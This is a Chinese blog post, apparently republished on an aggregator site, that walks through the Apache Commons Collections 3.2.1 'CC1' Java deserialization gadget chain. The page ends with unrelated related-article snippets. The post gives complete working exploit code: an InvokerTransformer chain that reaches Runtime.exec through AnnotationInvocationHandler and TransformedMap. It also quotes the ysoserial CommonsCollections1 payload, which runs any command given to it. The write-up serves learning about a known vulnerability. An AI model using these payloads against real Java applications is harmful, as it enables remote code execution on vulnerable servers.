【Java反序列化】CommonsCollections-CC1链分析

前言

好几天没发博文了,偷偷憋了个大的——CC1链分析,手撸了一遍代码。虽然说,这个链很老了,但还是花费了我一段时间去消化吸收,那么接下来,我会简洁的介绍下整个链的利用过程,还有哪些不理解的地方,xdm可以评论区一起讨论学习一下。

环境准备

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
CommonsCollections版本:3.2.1
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
在这里插入图片描述
其次,sun公司代码为反编译后的class,不能进行调试分析
在这里插入图片描述
Java8u65对应的源码https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
jdk-af660750b2f4\src\share\classes\sun
把Java环境中的src.zip解压为jdk1.8.0_65\src,放入sun文件夹
在这里插入图片描述
至此,环境搭建好了,开始调试分析。

CommonsCollections–CC1链分析

先贴一下完整的代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value", "value");Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationhdlConstructor.setAccessible(true);Object object = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);serialize(object);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}
  1. 先讲一下漏洞利用点,
    InvokerTransformer.transform方法对传入的参数对象进行了反射调用,即能够调用任意对象执行任意方法,进而导致命令执行Runtime.getRuntime().exec("calc");
    在这里插入图片描述
    按照源码的逻辑,写一下简短的POC:
Runtime runtime = Runtime.getRuntime();
Class runtimeClass = runtime.getClass();
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc");

即在InvokerTransformer构造方法中传入对应的参数就可命令执行
在这里插入图片描述
Runtime没有继承Serializable类,无法进行序列化,但是Class类继承了Serializable类,那么将Runtime进行反射调用即可

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

其中有很多细节,ChainedTransformer类的transform方法能够批量执行数组的transform,即调用数组中每一个对象的transform。
在这里插入图片描述
对于new ConstantTransformer(Runtime.class),则可以说是精髓,因为后文中的值不能被直接利用,而ConstantTransformer传入的参数为常量,不可被改变,即被调用的是我们传入的想要的值。
在这里插入图片描述

  1. 再想先讲一下漏洞触发点:反序列化漏洞,最主要的还是要readObject()函数,那么通过漏洞利用点一步步逆推则找到了AnnotationInvocationHandler.readObject()。

InvokerTransformer.transform()
TransformedMap.checkSetValue()
AbstractInputCheckedMapDecorator.MapEntry.setValue()
AnnotationInvocationHandler.readObject()

在这里插入图片描述
简单写一下漏洞POC:

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object object = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);

这里Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
TransformedMap继承了AbstractInputCheckedMapDecorator,而AbstractInputCheckedMapDecorator的父类AbstractMapDecorator实现了Map接口,AbstractInputCheckedMapDecorator重写了entrySet方法
在这里插入图片描述
map.put("value", "value");的key要和annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);的Target.class方法一致,不然if判断不过关,无法继续往下执行。
在这里插入图片描述
本文和ysoserial的CC1链略有差别,ysoserial的CC1链调用了LazyMap.get()整个方法https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java,感兴趣的xdm也能再看下ysoserial的CC1链。

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;/*Gadget chain:ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()Requires:commons-collections*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {public InvocationHandler getObject(final String command) throws Exception {final String[] execArgs = new String[] { command };// inert chain for setupfinal Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });// real chain for after setupfinal Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, execArgs),new ConstantTransformer(1) };final Map innerMap = new HashMap();final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chainreturn handler;}public static void main(final String[] args) throws Exception {PayloadRunner.run(CommonsCollections1.class, args);}public static boolean isApplicableJavaVersion() {return JavaVersion.isAnnInvHUniversalMethodImpl();}
}

暂时就先写这些,文笔不太好,有些地方讲的不太清楚,可以看下bilibili的百日梦组长的讲解,放到了参考链接下面,也可以在评论区讨论一下,一起学习。

参考链接

Java反序列化CommonsCollections篇(一) CC1链手写EXP

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/763749.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

初识C++(一)

目录 一、什么是C 二、关键字&#xff1a; 三、命名空间 &#xff1a; 1. C语言存在的问题&#xff1a; 2. namespace关键字&#xff1a; 3. 注意点&#xff1a; 4.使用命名空间分为三种&#xff1a; 四、输入输出&#xff1a; 五、缺省函数&#xff1a; 1. 什么是缺省…

【Linux】进程地址空间——有这篇就够了

前言 在我们学习C语言或者C时肯定都听过老师讲过地址的概念而且老师肯定还会讲栈区、堆区等区域的概念&#xff0c;那么这个地址是指的物理内存地址吗&#xff1f;这里这些区域又是如何划分的呢&#xff1f; 我们在使用C语言的malloc或者C的new函数开辟空间时&#xff0c;开辟…

栈——数据结构——day4

栈的定义 栈是限定仅在一段进行插入和删除操作的线性表。 我们把允许插入和删除的一端称为栈顶(top),另一端称为栈底(bottom),不含任何数据元素的栈称为空栈。栈又称为后进先出(Last In First Out)的线性表&#xff0c;简称LIFO结构。 栈的插入操作&#xff0c;叫作进栈&#…

【收藏】什么是API测试?这是我见过的最全的测试指南!

在最近的部署中&#xff0c;当我被问到“什么是API测试&#xff1f;”时&#xff0c;我正与客户一起制定API测试策略。那时我突然意识到&#xff0c;要描述API测试居然是一件如此具有挑战性的事情&#xff0c;即使你如实地描述了它&#xff0c;也往往听起来很无聊和复杂。 好吧…

第十二届蓝桥杯省赛CC++ 研究生组

十二届省赛题 第十二届蓝桥杯省赛C&C 研究生组-卡片 第十二届蓝桥杯省赛C&C 研究生组-直线 第十二届蓝桥杯省赛C&C 研究生组-货物摆放 第十二届蓝桥杯省赛C&C 研究生组-路径 第十二届蓝桥杯省赛C&C 研究生组-时间显示 第十二届蓝桥杯省赛C&C 研究生组…

AI PPT生成工具 V1.0.0

AI PPT是一款高效快速的PPT生成工具&#xff0c;能够一键生成符合相关主题的PPT文件&#xff0c;大大提高工作效率。生成的PPT内容专业、细致、实用。 软件特点 免费无广告&#xff0c;简单易用&#xff0c;快速高效&#xff0c;提高工作效率 一键生成相关主题的标题、大纲、…

TCP | TCP协议格式 | 三次握手

1.TCP协议 为什么需要 TCP 协议 &#xff1f;TCP 工作在哪一层&#xff1f; IP网络层是不可靠的&#xff0c;TCP工作在传输层&#xff0c;保证数据传输的可靠性。 TCP全称为 “传输控制协议&#xff08;Transmission Control Protocol”&#xff09;。 TCP 是面向连接的、可靠…

YOLOV9训练自己的数据集

1.代码下载地址GitHub - WongKinYiu/yolov9: Implementation of paper - YOLOv9: Learning What You Want to Learn Using Programmable Gradient Information 2.准备自己的数据集 这里数据集我以SAR数据集为例 具体的下载链接如下所示&#xff1a; 链接&#xff1a;https:/…

备战蓝桥杯Day34 - 每日一题

题目描述 解题思路 1.输入数据n&#xff0c;并将字符串类型转换成整数类型 2.求出输入n是2的几次幂&#xff08;调用math库中的求对数的方法&#xff09;&#xff0c;在下面的循环中要用到 3.定义sum和&#xff0c;将抽取到的牌的总数加起来存储 4.count 0 # 记录 2 的第几…

算法打卡day20|二叉树篇09|Leetcode 669. 修剪二叉搜索树、108.将有序数组转换为二叉搜索树、538.把二叉搜索树转换为累加树

算法题 Leetcode 669. 修剪二叉搜索树 题目链接:669. 修剪二叉搜索树 大佬视频讲解&#xff1a;修剪二叉搜索树视频讲解 个人思路 把这道题想复杂了&#xff0c;还想着如何去重构树 解法 递归法 依旧递归三步走 1.确定递归函数的参数以及返回值 这题递归需要返回值&#…

探索人工智能基础:从概念到应用【文末送书-42】

文章目录 人工智能概念人工智能基础【文末送书-42】 人工智能概念 人工智能&#xff08;Artificial Intelligence&#xff0c;AI&#xff09;作为当今科技领域的热门话题&#xff0c;已经深刻地影响着我们的生活和工作。但是&#xff0c;要理解人工智能&#xff0c;我们首先需…

【OpenSSH】Windows系统使用OpenSSH搭建SFTP服务器

【OpenSSH】Windows系统使用OpenSSH搭建SFTP服务器 文章目录 【OpenSSH】Windows系统使用OpenSSH搭建SFTP服务器一、环境说明二、安装配置步骤1.下载完成后&#xff0c;传至服务器或者本机并解压至C:/Program Files/目录下2.打开PowerShell终端3.进入到包含ssh可执行exe文件的文…

物联网和工业物联网的区别——青创智通

工业物联网解决方案-工业IOT-青创智通 物联网&#xff08;IoT&#xff09;和工业物联网&#xff08;IIoT&#xff09;作为现代科技的重要分支&#xff0c;正在逐渐渗透到我们的日常生活和工业生产中。它们的应用范围广泛&#xff0c;涵盖了从智能家居到自动化工厂的多个领域。…

类于对象(上)--- 类的定义、访问限定符、计算类和对象的大小、this指针

在本篇中将会介绍一个很重要和很基础的Cpp知识——类和对象。对于类和对象的篇目将会有三篇&#xff0c;本篇是基础篇&#xff0c;将会介绍类的定义、类的访问限定符符和封装、计算类和对象的大小、以及类的 this 指针。目录如下&#xff1a; 目录 1. 关于类 1.1 类的定义 2 类…

Windows Insiders WSLg Linux GUI App 支持尝鲜

2021 年 4 月 21 日&#xff0c;微软在 Developer Blogs 发布了 Windows 预览版 WSL&#xff08;Windows Linux 子系统&#xff09; 对 Linux GUI App 的支持的公告&#x1f517;&#xff0c;碰巧&#x1f600;我最近重装了波电脑&#xff0c;系统换成了 Windows Insiders&…

Python Flask框架 -- 模版渲染、模版访问对象属性、过滤器与自定义过滤器

模版渲染 使用 render_template 来渲染模板 from flask import Flask, render_templateapp Flask(__name__)app.route(/blog/<blog_id>) def blog_detail(blog_id):return render_template(blog_detail.html, blog_idblog_id, username核)if __name__ __main__:app.r…

ByteTrack多目标跟踪——YOLOX详解

文章目录 1 before train1.1 dataset1.2 model 2 train2.1 Backbone2.2 PAFPN2.3 Head2.3.1 Decoupled Head2.3.2 anchor-free2.3.3 标签分配① 初步筛选② simOTA 2.3.4 Loss计算 项目地址&#xff1a; ByteTrack ByteTrack使用的检测器是YOLOX&#xff0c;是一个目前非常流行…

C++程序变量的引用

在C中&#xff0c;变量的“引用” 就是变量的别名&#xff0c;因此引用又称为别名。由于引用不是独立的变量&#xff0c;编译系统不给它单独分配存储单元&#xff0c;因此在建立引用时只有声明&#xff0c;没有定义&#xff0c;只是声明它和原有的某一变量的关系。 一、引用变更…

企业员工培训考试系统开发方案

一、项目背景与目标 &#xff08;一&#xff09;项目背景 随着企业对员工培训的重视程度不断提高&#xff0c;传统的线下培训方式已经无法满足现代企业的需求。为了提高培训效果&#xff0c;降低培训成本&#xff0c;需要开发一款企业员工培训考试系统&#xff0c;通过在线课…

马蹄集oj赛(双周赛第二十三次)

目录 数列分割 小码哥的地毯 小码哥的三色墙 palace 高数考试 新全排列 黑白双煞 等差 数三角形 区间修改 相对马高 小码哥剪绳子 数列分割 难度:黄金 时间限制:1秒巴 占用内存:64 M 小码哥给你一个长度为n的数列&#xff0c;求将该数列分割成两个左右两个部分且两…